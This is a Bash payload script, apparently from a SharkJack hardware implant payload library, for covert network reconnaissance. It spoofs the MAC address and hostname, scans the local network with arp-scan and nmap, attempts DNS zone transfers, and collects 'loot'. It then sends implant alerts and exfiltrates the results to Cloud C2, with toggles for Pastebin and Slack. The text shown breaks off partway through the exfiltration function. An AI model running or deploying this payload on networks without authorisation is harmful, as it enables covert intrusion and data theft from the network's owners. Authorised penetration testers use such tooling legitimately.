sharkjack-payloads/payloads/library/recon/Network-Recon-framework-pay.../payload.sh

719 lines
36 KiB
Bash

#!/bin/bash
#
# Title: payload.sh
# Description: Swiss knife network reconnaissance payload with options for loot capturing (e.g. DIG, NMAP, IFCONFIG, ARP-SCAN, LLDP),
# notification (e.g. Homey, Pushover (the best push notfications service!), Slack), exfiltration (e.g. Cloud C2, Pastebin,
# Slack) and led blinking for IP address. Payload is based on various sample payloads from HAK5, MonsieurMarc, Topknot and
# others.
# The script has been created in a modular fashion which allows easy extending the script with new functions (e.g. recon,
# notification or exfiltration functions). The script furthermore incorporates logic to determine already existing loot
# folders and create a new (unique) loot folder every time the script is executed.
# Author: Robert Coemans (robert[at]brainstoday.com)
# Version: 1.0 (19-08-2020), initial version
# 1.1 (21-08-2020), added Stealth Mode and fixed LLDP attack function
# Category: Recon
#
# Dependencies: this payload requires you to have the following packages already installed and configured via 'opkg install' (do 'opkg update' first):
# - curl = E.g. to grab external IP address and to post notifications
# - lldpd
# - bind-dig
# - bind-host
# - nano = Just to have a convenient text editor available on the SharkJack
# - libustream-openssl = Needed for ssl (https) e.g. curl
#
# LED indications (https://docs.hak5.org/hc/en-us/articles/360010554653-LED)
# - Booting up = Green blinking
# - Setting up = Magenta solid [LED SETUP]
# - Failures = Red slow blinking [LED FAIL]
# - Getting loot = Yellow single blink [LED ATTACK]
# - Exfiltrating loot = Yellow double blink [LED STAGE2]
# - Blink IP ADDRESS = White blinking (fast blinking = value count, if one of the octets is zero this will be represented as solid for 1 second, long blink = next digit)
# - Finished = Green very fast blinking followed by solid [LED FINISH]
#
# For setting up Slack (exfiltration and notification) check this tutorial: https://dev.to/c0d3b0t/upload-and-publish-a-file-on-slack-channel-with-bash-i2e
#
# ARP-SCAN is using files /usr/share/arp-scan/ieee-iab.txt, /usr/share/arp-scan/ieee-oui.txt and /usr/share/arp-scan/mac-vendor.txt to retrieve vendors based on discovered MAC addresses
#
# Nmap examples (see nmap --help for options)
# - "-sP --host-timeout 30s --max-retries 3" Ping scans the network, listening to hosts that respond tp ping for fast host discovery, a given timeout of 30 seconds and a maximum retries of 3
# - "-p 1-65535 -sV -sS -T4" Full TCP port scan using with service version detection
# - "-v -sS -A -T4" Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection + traceroute and scripts against target services
# - "--top-ports 20" Scan 20 most common ports
# - "-Pn" No ping
# - "-O" Enable OS detection
# - "-A" Enable OS detection, version detection, script scanning and traceroute
# ****************************************************************************************************
# Configuration
# ****************************************************************************************************
# Setup toggles
STEALTH_MODE=false
CHANGE_HOSTNAME=false
CHANGE_MAC_ADDRESS=false
LOOKUP_SUBNET=true
COPY_BACK_DHCP_RETRIEVED_DNS_SERVERS=true
USE_CUSTOM_DNS_SERVER=false
START_SSH_SERVER=false
CHECK_DEFAULT_GATEWAY=true
CHECK_INTERNET_ACCESS=true
GET_EXTERNAL_IP_ADDRESS=true
NOTIFY_HOMEY=false
NOTIFY_PUSHOVER=true
NOTIFY_SLACK=false # Need chat:write permissions in app settings!
START_CLOUD_C2_CLIENT=true
# Attack toggles
GRAB_IFCONFIG_LOOT=true
GRAB_TRACEROUTE_LOOT=true
GRAB_DNS_INFORMATION_LOOT=true
GRAB_PUBLIC_IP_WHOIS_LOOT=true
GRAB_LLDP_LOOT=true
GRAP_ARP_SCAN_LOOT=true
GRAB_NMAP_LOOT=true
GRAB_NMAP_INTERESTING_HOSTS_LOOT=false
GRAB_DIG_LOOT=true
TRY_TO_GET_INTERNAL_DOMAINS=true
# Finish toggles
EXFIL_TO_CLOUD_C2=false
EXFIL_TO_PASTEBIN=false # Please note the API limitations: guests can create up to 10 new pastes per 24 hours, IP's that make too many requests will be blocked!
EXFIL_TO_SLACK=false # Need files:write permissions in app settings!
BLINK_INTERNAL_IP_ADDRESS=false
HALT_SYSTEM_WHEN_DONE=false
# Setup variables
LOOT_DIR_ROOT="/root/loot/network-recon"
TODAY=$(date +%Y%m%d)
START_TIME=$(date)
BATTERY_STATUS=$(BATTERY)
HOSTNAME="shark"
MAC_ADDRESS="4a:3f:6d:db:ba:d8"
CUSTOM_NAME_SERVER="192.168.10.1"
RESOLV_CONF_FILE="/etc/resolv.conf"
RESOLV_CONF_AUTO_FILE="/tmp/resolv.conf.auto"
RESOLV_CONF_TMP_FILE="/tmp/resolv.conf"
INTERNET_TEST_HOST="http://www.google.com"
PUBLIC_IP_URL="http://icanhazip.com"
CLOUD_C2_PROVISION="/etc/device.config"
# Attack variables
TRACEROUTE_HOST="8.8.8.8"
INTERNAL_DOMAINS="mydomain.local"
BANDWIDTH_FOR_ARP_SCAN="100000"
NMAP_OPTIONS_ACTIVE_HOSTS="--top-ports 20"
INTERESTING_HOSTS_PATTERN="Synology|QNAP"
NMAP_OPTIONS_INTERESTING_HOSTS="-v -sS -A -T4"
# Exfiltrate and notification variables
HOMEY_WEBHOOK_URL="https://{your-homey-id}.connect.athom.com/api/manager/logic/webhook/{your-endpoint}"
PUSHOVER_API_POST_URL="https://api.pushover.net/1/messages.json"
PUSHOVER_APPLICATION_TOKEN="{your-application-token}"
PUSHOVER_USER_TOKEN="{your-user-token}"
PUSHOVER_PRIORITY="1" # send as -2 to generate no notification/alert, -1 to always send as a quiet notification or 1 to display as high-priority and bypass the user's quiet hours!
PUSHOVER_DEVICE="{your-device}" # Multiple devices may be separated by a comma!
PASTEBIN_API_LOGIN_URL="https://pastebin.com/api/api_login.php"
PASTEBIN_API_POST_URL="https://pastebin.com/api/api_post.php"
PASTEBIN_API_USER="{username}"
PASTEBIN_API_PASSWORD="{password}"
PASTEBIN_API_KEY="{your-api-key}"
PASTEBIN_EXPIRE_DATE="1W" # N = Never, 10M = 10 Minutes, 1H = 1 Hour, 1D = 1 Day, 1W = 1 Week, 2W = 2 Weeks, 1M = 1 Month, 6M = 6 Months, 1Y = 1 Year!
SLACK_API_POST_URL="https://slack.com/api/chat.postMessage"
SLACK_API_UPLOAD_URL="https://slack.com/api/files.upload"
SLACK_OAUTH_TOKEN="{your-oauth-token}"
SLACK_CHANNEL_ID="{your-channel-id}" # Use Slack web app to capture channel ID (last bit of URL)!
SLACK_USER="{your-slack-user}"
# ****************************************************************************************************
# Setup functions
# ****************************************************************************************************
function CREATE_SCAN_FOLDER() {
if [ ! -d $LOOT_DIR_ROOT ]; then
mkdir -p $LOOT_DIR_ROOT > /dev/null
fi
if [ "ls $LOOT_DIR_ROOT -l | grep "^d" | wc -l" = "0" ]; then
SCAN_COUNT=1
else
SCAN_COUNT=$(ls $LOOT_DIR_ROOT -l | grep "^d" | awk {'print $9'} | sort -n | awk 'END{print}' | awk -F'-' '{print $1}')
((SCAN_COUNT++))
fi
LOOT_DIR=$LOOT_DIR_ROOT/$SCAN_COUNT-$TODAY
mkdir $LOOT_DIR > /dev/null
return
}
function INITIALIZE_LOG_FILE() {
LOG_FILE=$LOOT_DIR/network-recon.log
touch $LOG_FILE
echo "****************************************************************************************************" >> $LOG_FILE
echo "Payload executed at: $START_TIME" >> $LOG_FILE
echo "SharkJack battery status: $BATTERY_STATUS" >> $LOG_FILE
echo "****************************************************************************************************" >> $LOG_FILE
echo >> $LOG_FILE
echo "Free diskspace before actions: $(df -h | grep overlayfs | awk {'print $4'})" >> $LOG_FILE
echo "Loot directory has been created: $LOOT_DIR" >> $LOG_FILE
return
}
function SET_NETMODE() {
NETMODE DHCP_CLIENT
echo "NETMODE has been set to DHCP_CLIENT" >> $LOG_FILE
# Wait for an IP address to be obtained
while ! ifconfig eth0 | grep "inet addr"; do sleep 1; done
INTERNAL_IP=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" )
echo "Internal (private) IP address is $INTERNAL_IP" >> $LOG_FILE
return
}
function CHANGE_HOSTNAME() {
if [ "$CHANGE_HOSTNAME" = "true" ]; then
uci set system.@system[0].hostname=$HOSTNAME
uci commit system
/etc/init.d/system reload
echo "HOSTNAME has been set to: $HOSTNAME" >> $LOG_FILE
else
HOSTNAME=$(cat /proc/sys/kernel/hostname)
echo "HOSTNAME has been set to: $HOSTNAME" >> $LOG_FILE
fi
return
}
function CHANGE_MAC_ADDRESS() {
if [ "$CHANGE_MAC_ADDRESS" = "true" ]; then
ifconfig eth0 down
ifconfig eth0 hw ether $MAC_ADDRESS
ifconfig eth0 up
while ! ifconfig eth0 | grep "inet addr"; do sleep 1; done
echo "MAC ADDRESS has been set to: $MAC_ADDRESS" >> $LOG_FILE
INTERNAL_IP=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" )
echo "New IP address has been obtained due to MAC ADDRESS change: $INTERNAL_IP" >> $LOG_FILE
else
MAC_ADDRESS=$(ifconfig | grep eth0 | awk {'print $5'})
echo "MAC ADDRESS has been randomized to: $MAC_ADDRESS" >> $LOG_FILE
fi
return
}
function LOOKUP_SUBNET () {
if [ "$LOOKUP_SUBNET" = "true" ]; then
SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//')
echo "Subnet $SUBNET has been looked up" >> $LOG_FILE
fi
return
}
function COPY_BACK_DHCP_RETRIEVED_DNS_SERVERS() {
if [ "$COPY_BACK_DHCP_RETRIEVED_DNS_SERVERS" = "true" ]; then
RESOLV_CONF_AUTO_CONTENTS=$(cat $RESOLV_CONF_AUTO_FILE | awk {'print tolower($0)'} | awk '{print}' ORS='|' | sed 's/.$//')
RESOLV_CONF_CONTENTS=$(cat $RESOLV_CONF_FILE | awk {'print tolower($0)'} | awk '{print}' ORS='|' | sed 's/.$//')
cp $RESOLV_CONF_AUTO_FILE $RESOLV_CONF_FILE && echo "Contents of $RESOLV_CONF_AUTO_FILE ($RESOLV_CONF_AUTO_CONTENTS) has been copied to $RESOLV_CONF_FILE ($RESOLV_CONF_CONTENTS)" >> $LOG_FILE || echo "Contents of $RESOLV_CONF_AUTO_FILE ($RESOLV_CONF_AUTO_CONTENTS) has NOT been copied to $RESOLV_CONF_FILE ($RESOLV_CONF_CONTENTS)" >> $LOG_FILE
fi
return
}
function USE_CUSTOM_DNS_SERVER() {
if [ "$USE_CUSTOM_DNS_SERVER" = "true" ]; then
echo "nameserver $CUSTOM_NAME_SERVER" > $RESOLV_CONF_FILE
sleep 2
RESOLV_CONF_CONTENTS=$(cat $RESOLV_CONF_FILE | awk {'print tolower($0)'} | awk '{print}' ORS='|' | sed 's/.$//')
echo "DNS Server $CUSTOM_NAME_SERVER has been added to $RESOLV_CONF_FILE ($RESOLV_CONF_CONTENTS)" >> $LOG_FILE
fi
return
}
function START_SSH_SERVER() {
if [ "$START_SSH_SERVER" = "true" ]; then
/etc/init.d/sshd start
sleep 2
echo "SSH Server has been started" >> $LOG_FILE
fi
return
}
function CHECK_DEFAULT_GATEWAY() {
if [ "$CHECK_DEFAULT_GATEWAY" = "true" ]; then
DEFAULT_GATEWAY=$(ip r | grep default | cut -d ' ' -f 3)
ping -q -w 1 -c 1 $DEFAULT_GATEWAY > /dev/null && echo "Default Gateway $DEFAULT_GATEWAY can be reached" >> $LOG_FILE || echo "Default Gateway $DEFAULT_GATEWAY cannot be reached" >> $LOG_FILE
fi
return
}
function CHECK_INTERNET_ACCESS() {
if [ "$CHECK_INTERNET_ACCESS" = "true" ]; then
wget -q --spider $INTERNET_TEST_HOST > /dev/null && echo "Internet test host $INTERNET_TEST_HOST can be reached" >> $LOG_FILE || echo "Internet test host $INTERNET_TEST_HOST cannot be reached" >> $LOG_FILE
fi
return
}
function GET_EXTERNAL_IP_ADDRESS() {
if [ "$GET_EXTERNAL_IP_ADDRESS" = "true" ]; then
wget -q --spider $PUBLIC_IP_URL > /dev/null && ( EXTERNAL_IP=$(curl $PUBLIC_IP_URL); echo "External (public) IP address is $EXTERNAL_IP" >> $LOG_FILE ) || echo "External (public) IP address cannot be discovered" >> $LOG_FILE
fi
return
}
function RECON_STARTED_NOTIFICATION() {
if [ "$NOTIFY_HOMEY" = "true" ]; then
curl -s -i -X GET $HOMEY_WEBHOOK_URL?tag="SharkJack_recon_started" > /dev/null && echo "Recon started notification has been sent to Homey" >> $LOG_FILE || echo "Recon started notification has NOT been sent to Homey as something went wrong" >> $LOG_FILE
fi
if [ "$NOTIFY_PUSHOVER" = "true" ]; then
curl -s --form-string token="$PUSHOVER_APPLICATION_TOKEN" --form-string user="$PUSHOVER_USER_TOKEN" --form-string priority="$PUSHOVER_PRIORITY" --form-string device="$PUSHOVER_DEVICE" --form-string title="SharkJack implant detected on date: $(date '+%d-%m-%Y'), time: $(date '+%H:%M') $(date '+%Z %z')" --form-string message="Loot identifier: $SCAN_COUNT-$TODAY, Internal IP address: $INTERNAL_IP, External (public) IP address: $(curl $PUBLIC_IP_URL)" $PUSHOVER_API_POST_URL > /dev/null && echo "Recon started notification has been sent to Pushover" >> $LOG_FILE || echo "Recon started notification has NOT been sent to Pushover as something went wrong" >> $LOG_FILE
fi
if [ "$NOTIFY_SLACK" = "true" ]; then
curl -s -X POST -F text="SharkJack implant detected on date: $(date '+%d-%m-%Y'), time: $(date '+%H:%M') $(date '+%Z %z'). Loot identifier: $SCAN_COUNT-$TODAY, Internal IP address: $INTERNAL_IP, External (public) IP address: $(curl $PUBLIC_IP_URL)" -F channel="$SLACK_CHANNEL_ID" -F user="n$SLACK_USER" -F token="$SLACK_OAUTH_TOKEN" $SLACK_API_POST_URL > /dev/null && echo "Recon started notification has been sent to Slack" >> $LOG_FILE || echo "Recon started notification has NOT been sent to Slack as something went wrong" >> $LOG_FILE
fi
return
}
function START_CLOUD_C2_CLIENT() {
if [ "$START_CLOUD_C2_CLIENT" = "true" ]; then
if [[ -f "$CLOUD_C2_PROVISION" ]]; then
C2CONNECT
while ! pgrep cc-client; do sleep 1; done
echo "Connected to Cloud C2" >> $LOG_FILE
else
echo "Cloud C2 client configuration file ($CLOUD_C2_PROVISION) does not exists" >> $LOG_FILE
fi
fi
return
}
# ****************************************************************************************************
# Attack functions
# ****************************************************************************************************
function GRAB_IFCONFIG_LOOT() {
if [ "$GRAB_IFCONFIG_LOOT" = "true" ]; then
IFCONFIG_LOOT_FILE=$LOOT_DIR/ifconfig.txt
touch $IFCONFIG_LOOT_FILE
echo "****************************************************************************************************" >> $IFCONFIG_LOOT_FILE
echo "IFCONFIG output for ETH0 (ifconfig eth0)" >> $IFCONFIG_LOOT_FILE
echo "****************************************************************************************************" >> $IFCONFIG_LOOT_FILE
echo >> $IFCONFIG_LOOT_FILE
ifconfig eth0 >> $IFCONFIG_LOOT_FILE
echo "****************************************************************************************************" >> $IFCONFIG_LOOT_FILE
echo "IP address output for ETH0 (ip addr show dev eth0)" >> $IFCONFIG_LOOT_FILE
echo "****************************************************************************************************" >> $IFCONFIG_LOOT_FILE
echo >> $IFCONFIG_LOOT_FILE
ip addr show dev eth0 >> $IFCONFIG_LOOT_FILE
echo "IFCONFIG loot has been collected" >> $LOG_FILE
fi
return
}
function GRAB_TRACEROUTE_LOOT() {
if [ "$GRAB_TRACEROUTE_LOOT" = "true" ]; then
TRACEROUTE_LOOT_FILE=$LOOT_DIR/traceroute.txt
touch $TRACEROUTE_LOOT_FILE
echo "****************************************************************************************************" >> $TRACEROUTE_LOOT_FILE
echo "TRACEROUTE output for host $TRACEROUTE_HOST (traceroute $TRACEROUTE_HOST)" >> $TRACEROUTE_LOOT_FILE
echo "****************************************************************************************************" >> $TRACEROUTE_LOOT_FILE
echo >> $TRACEROUTE_LOOT_FILE
traceroute $TRACEROUTE_HOST >> $TRACEROUTE_LOOT_FILE
echo "TRACEROUTE loot has been collected" >> $LOG_FILE
fi
return
}
function GRAB_DNS_INFORMATION_LOOT() {
if [ "$GRAB_DNS_INFORMATION_LOOT" = "true" ]; then
DNS_INFORMATION_LOOT_FILE=$LOOT_DIR/dns_information.txt
touch $DNS_INFORMATION_LOOT_FILE
echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE
echo "System's Domain Name System (DNS) resolver file: $RESOLV_CONF_FILE" >> $DNS_INFORMATION_LOOT_FILE
echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE
echo >> $DNS_INFORMATION_LOOT_FILE
cat $RESOLV_CONF_FILE >> $DNS_INFORMATION_LOOT_FILE
echo >> $DNS_INFORMATION_LOOT_FILE
echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE
echo "System's Domain Name System (DNS) resolver file: $RESOLV_CONF_AUTO_FILE" >> $DNS_INFORMATION_LOOT_FILE
echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE
echo >> $DNS_INFORMATION_LOOT_FILE
cat $RESOLV_CONF_AUTO_FILE >> $DNS_INFORMATION_LOOT_FILE
echo >> $DNS_INFORMATION_LOOT_FILE
echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE
echo "System's Domain Name System (DNS) resolver file: $RESOLV_CONF_TMP_FILE" >> $DNS_INFORMATION_LOOT_FILE
echo "****************************************************************************************************" >> $DNS_INFORMATION_LOOT_FILE
echo >> $DNS_INFORMATION_LOOT_FILE
cat $RESOLV_CONF_TMP_FILE >> $DNS_INFORMATION_LOOT_FILE
echo "DNS information loot has been collected" >> $LOG_FILE
fi
return
}
function GRAB_PUBLIC_IP_WHOIS_LOOT() {
if [ "$GRAB_PUBLIC_IP_WHOIS_LOOT" = "true" ]; then
PUBLIC_IP_WHOIS_LOOT_FILE=$LOOT_DIR/public_ip_whois.txt
touch $PUBLIC_IP_WHOIS_LOOT_FILE
EXTERNAL_IP=$(curl $PUBLIC_IP_URL)
echo "****************************************************************************************************" >> $PUBLIC_IP_WHOIS_LOOT_FILE
echo "NSLOOKUP $EXTERNAL_IP" >> $PUBLIC_IP_WHOIS_LOOT_FILE
echo "****************************************************************************************************" >> $PUBLIC_IP_WHOIS_LOOT_FILE
echo >> $PUBLIC_IP_WHOIS_LOOT_FILE
nslookup $EXTERNAL_IP >> $PUBLIC_IP_WHOIS_LOOT_FILE
echo "NSLOOKUP for $EXTERNAL_IP has been executed" >> $LOG_FILE
echo "****************************************************************************************************" >> $PUBLIC_IP_WHOIS_LOOT_FILE
echo "WHO.IS $EXTERNAL_IP" >> $PUBLIC_IP_WHOIS_LOOT_FILE
echo "****************************************************************************************************" >> $PUBLIC_IP_WHOIS_LOOT_FILE
echo >> $PUBLIC_IP_WHOIS_LOOT_FILE
curl https://who.is/whois-ip/ip-address/$EXTERNAL_IP | sed -n '/<div class="col-md-12 queryResponseBodyKey"><pre>/,/<\/pre><\/div>/p' | sed 's/\(<div class="col-md-12 queryResponseBodyKey"><pre>\|<\/pre><\/div>\)//g' > /dev/null >> $PUBLIC_IP_WHOIS_LOOT_FILE
echo "WHO.IS for $EXTERNAL_IP has been executed" >> $LOG_FILE
fi
return
}
function GRAB_LLDP_LOOT() {
if [ "$GRAB_LLDP_LOOT" = "true" ]; then
LLDP_LOOT_FILE=$LOOT_DIR/lldp.txt
touch $LLDP_LOOT_FILE
# Assign LLDPD to eth0 and restart the LLDPD service (without this it will fail)
lldpd -I eth0
sleep 5
/etc/init.d/lldpd restart
sleep 5
echo "****************************************************************************************************" >> $LLDP_LOOT_FILE
echo "LLDP neighbor details (lldpcli show neighbor details)" >> $LLDP_LOOT_FILE
echo "****************************************************************************************************" >> $LLDP_LOOT_FILE
echo >> $LLDP_LOOT_FILE
lldpcli show neighbor details >> $LLDP_LOOT_FILE
echo >> $LLDP_LOOT_FILE
echo "****************************************************************************************************" >> $LLDP_LOOT_FILE
echo "LLDP interfaces details (lldpcli show interfaces details)" >> $LLDP_LOOT_FILE
echo "****************************************************************************************************" >> $LLDP_LOOT_FILE
echo >> $LLDP_LOOT_FILE
lldpcli show interfaces details >> $LLDP_LOOT_FILE
echo "LLDP loot has been collected" >> $LOG_FILE
fi
return
}
function GRAP_ARP_SCAN_LOOT() {
if [ "$GRAP_ARP_SCAN_LOOT" = "true" ]; then
ARP_SCAN_LOOT_FILE=$LOOT_DIR/arp-scan.txt
touch $ARP_SCAN_LOOT_FILE
echo "****************************************************************************************************" >> $ARP_SCAN_LOOT_FILE
echo "ARP-SCAN details (arp-scan --bandwidth=$BANDWIDTH_FOR_ARP_SCAN --interface=eth0)" >> $ARP_SCAN_LOOT_FILE
echo "****************************************************************************************************" >> $ARP_SCAN_LOOT_FILE
echo >> $ARP_SCAN_LOOT_FILE
# arp-scan --arpspa $ -g -B $BANDWIDTH_FOR_ARP_SCAN -I eth0 $SUBNET >> $ARP_SCAN_LOOT_FILE
#arp-scan --ignoredups --bandwidth=$BANDWIDTH_FOR_ARP_SCAN --interface=eth0 --localnet >> $ARP_SCAN_LOOT_FILE
arp-scan --bandwidth=$BANDWIDTH_FOR_ARP_SCAN --interface=eth0 --localnet >> $ARP_SCAN_LOOT_FILE
echo "ARP-SCAN loot has been collected" >> $LOG_FILE
fi
return
}
function GRAB_NMAP_LOOT() {
if [ "$GRAB_NMAP_LOOT" = "true" ]; then
NMAP_LOOT_FILE=$LOOT_DIR/nmap.txt
### Adding -oA nmap option to scan option
NMAP_OPTIONS_ACTIVE_HOSTS="${NMAP_OPTIONS_ACTIVE_HOSTS} -oA ${LOOT_DIR}/nmap-${SCAN_COUNT}-${TODAY}"
touch $NMAP_LOOT_FILE
#ACTIVE_HOSTS=( $(nmap $NMAP_QUICKSCAN 192.168.1.0/24 | grep "Nmap scan report for" | awk {'print $5'} | awk '{print}' ORS='\t' | sed 's/.$//') ) # Nmap ping scan output as an array of ip addresses
ACTIVE_HOSTS=( $(arp-scan --localnet | tail -n +3 | head -n -3 | awk {'print $1'} | awk '{print}' ORS='\t' | sed 's/.$//') ) # Arp-scan output as an array of ip addresses
echo "****************************************************************************************************" >> $NMAP_LOOT_FILE
echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\"" >> $NMAP_LOOT_FILE
echo "****************************************************************************************************" >> $NMAP_LOOT_FILE
echo >> $NMAP_LOOT_FILE
#nmap $NMAP_OPTIONS_ACTIVE_HOSTS ${ACTIVE_HOSTS[@]} -oN $NMAP_LOOT_FILE > /dev/null && echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\" executed succesfully" >> $LOG_FILE || echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\" failed" >> $LOG_FILE
nmap $NMAP_OPTIONS_ACTIVE_HOSTS ${ACTIVE_HOSTS[@]} >> $NMAP_LOOT_FILE && echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\" executed succesfully" >> $LOG_FILE || echo "Nmap scan ${#ACTIVE_HOSTS[@]} hosts with nmap options: \"$NMAP_OPTIONS_ACTIVE_HOSTS\" failed" >> $LOG_FILE
fi
return
}
function GRAB_NMAP_INTERESTING_HOSTS_LOOT() {
if [ "$GRAB_NMAP_INTERESTING_HOSTS_LOOT" = "true" ]; then
NMAP_INTERESTING_HOSTS_LOOT_FILE=$LOOT_DIR/nmap_interesting_hosts.txt
### Adding -oA nmap option to scan option
NMAP_OPTIONS_INTERESTING_HOSTS="${NMAP_OPTIONS_INTERESTING_HOSTS} -oA ${LOOT_DIR}/nmap-interesting-hosts-${SCAN_COUNT}-${TODAY}"
touch $NMAP_INTERESTING_HOSTS_LOOT_FILE
INTERESTING_HOSTS=( $(arp-scan --localnet | egrep $INTERESTING_HOSTS_PATTERN | awk {'print $1'} | awk '{print}' ORS='\t' | sed 's/.$//') )
INTERESTING_HOSTS+=( $(ip r | grep default | cut -d ' ' -f 3) )
if [ "$GET_EXTERNAL_IP_ADDRESS" = "true" ]; then
INTERESTING_HOSTS+=( $(curl -s $PUBLIC_IP_URL) )
fi
echo "****************************************************************************************************" >> $NMAP_INTERESTING_HOSTS_LOOT_FILE
echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\"" >> $NMAP_INTERESTING_HOSTS_LOOT_FILE
echo "****************************************************************************************************" >> $NMAP_INTERESTING_HOSTS_LOOT_FILE
echo >> $NMAP_INTERESTING_HOSTS_LOOT_FILE
#nmap $NMAP_OPTIONS_INTERESTING_HOSTS ${INTERESTING_HOSTS[@]} -oN $NMAP_INTERESTING_HOSTS_LOOT_FILE && echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\" executed succesfully" >> $LOG_FILE || echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\" failed" >> $LOG_FILE
nmap $NMAP_OPTIONS_INTERESTING_HOSTS ${INTERESTING_HOSTS[@]} >> $NMAP_INTERESTING_HOSTS_LOOT_FILE && echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\" executed succesfully" >> $LOG_FILE || echo "Nmap scan ${#INTERESTING_HOSTS[@]} interesting host with nmap options: \"$NMAP_OPTIONS_INTERESTING_HOSTS\" failed" >> $LOG_FILE
fi
}
function GRAB_DIG_LOOT() {
if [ "$GRAB_DIG_LOOT" = "true" ]; then
if [ "$TRY_TO_GET_INTERNAL_DOMAINS" = "true" ]; then
#INTERNAL_DOMAINS=$(cat $RESOLV_CONF_FILE $RESOLV_CONF_AUTO_FILE $RESOLV_CONF_TMP_FILE | grep "search" | awk {'print $2'} | sort | uniq)
INTERNAL_DOMAINS=$(cat $RESOLV_CONF_AUTO_FILE | grep "search" | awk {'print $2'} | sort | uniq)
echo "Collecting DIG loot with automatically detected domain(s): $INTERNAL_DOMAINS" >> $LOG_FILE
else
echo "Collecting DIG loot with manually selected domain: $INTERNAL_DOMAINS" >> $LOG_FILE
fi
DIG_LOOT_FILE=$LOOT_DIR/dig.txt
touch $DIG_LOOT_FILE
for INTERNAL_DOMAIN in $INTERNAL_DOMAINS; do
echo "****************************************************************************************************" >> $DIG_LOOT_FILE
echo "DIG basic details (dig $INTERNAL_DOMAIN any)" >> $DIG_LOOT_FILE
echo "****************************************************************************************************" >> $DIG_LOOT_FILE
dig $INTERNAL_DOMAIN any >> $DIG_LOOT_FILE
echo "****************************************************************************************************" >> $DIG_LOOT_FILE
echo "DIG advanced details (dig -tAXFR $INTERNAL_DOMAIN any)" >> $DIG_LOOT_FILE
echo "****************************************************************************************************" >> $DIG_LOOT_FILE
dig -tAXFR $INTERNAL_DOMAIN any >> $DIG_LOOT_FILE
done
echo "DIG loot has been collected" >> $LOG_FILE
fi
return
}
# ****************************************************************************************************
# Finish functions
# ****************************************************************************************************
function EXFIL_TO_CLOUD_C2() {
if [ "$EXFIL_TO_CLOUD_C2" = "true" ]; then
if [[ $(pgrep cc-client) ]]; then
LOOT_FILES="$LOOT_DIR/*.txt"
for LOOT_FILE in $LOOT_FILES; do
LOOT_FILE_DESC=${LOOT_FILE/"$LOOT_DIR/"/}
LOOT_FILE_DESC=$SCAN_COUNT-$TODAY-${LOOT_FILE_DESC%.*}-loot
LOOT_FILE_DESC=${LOOT_FILE_DESC^^}
C2EXFIL STRING $LOOT_FILE $LOOT_FILE_DESC && echo "Exfiltration of $LOOT_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $LOOT_FILE to Cloud C2 has failed" >> $LOG_FILE
done
### Add exfiltration of nmap -oA files
## XML
LOOT_FILES="$LOOT_DIR/*.xml"
for LOOT_FILE in $LOOT_FILES; do
LOOT_FILE_DESC=${LOOT_FILE/"$LOOT_DIR/"/}
LOOT_FILE_DESC=$SCAN_COUNT-$TODAY-${LOOT_FILE_DESC%.*}-loot
LOOT_FILE_DESC=${LOOT_FILE_DESC^^}
C2EXFIL STRING $LOOT_FILE $LOOT_FILE_DESC && echo "Exfiltration of $LOOT_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $LOOT_FILE to Cloud C2 has failed" >> $LOG_FILE
done
## GNMAP
LOOT_FILES="$LOOT_DIR/*.gnmap"
for LOOT_FILE in $LOOT_FILES; do
LOOT_FILE_DESC=${LOOT_FILE/"$LOOT_DIR/"/}
LOOT_FILE_DESC=$SCAN_COUNT-$TODAY-${LOOT_FILE_DESC%.*}-loot
LOOT_FILE_DESC=${LOOT_FILE_DESC^^}
C2EXFIL STRING $LOOT_FILE $LOOT_FILE_DESC && echo "Exfiltration of $LOOT_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $LOOT_FILE to Cloud C2 has failed" >> $LOG_FILE
done
## NMAP
LOOT_FILES="$LOOT_DIR/*.nmap"
for LOOT_FILE in $LOOT_FILES; do
LOOT_FILE_DESC=${LOOT_FILE/"$LOOT_DIR/"/}
LOOT_FILE_DESC=$SCAN_COUNT-$TODAY-${LOOT_FILE_DESC%.*}-loot
LOOT_FILE_DESC=${LOOT_FILE_DESC^^}
C2EXFIL STRING $LOOT_FILE $LOOT_FILE_DESC && echo "Exfiltration of $LOOT_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $LOOT_FILE to Cloud C2 has failed" >> $LOG_FILE
done
### Exfiltrate log file
LOG_FILE_DESC=$SCAN_COUNT-$TODAY-LOGFILE
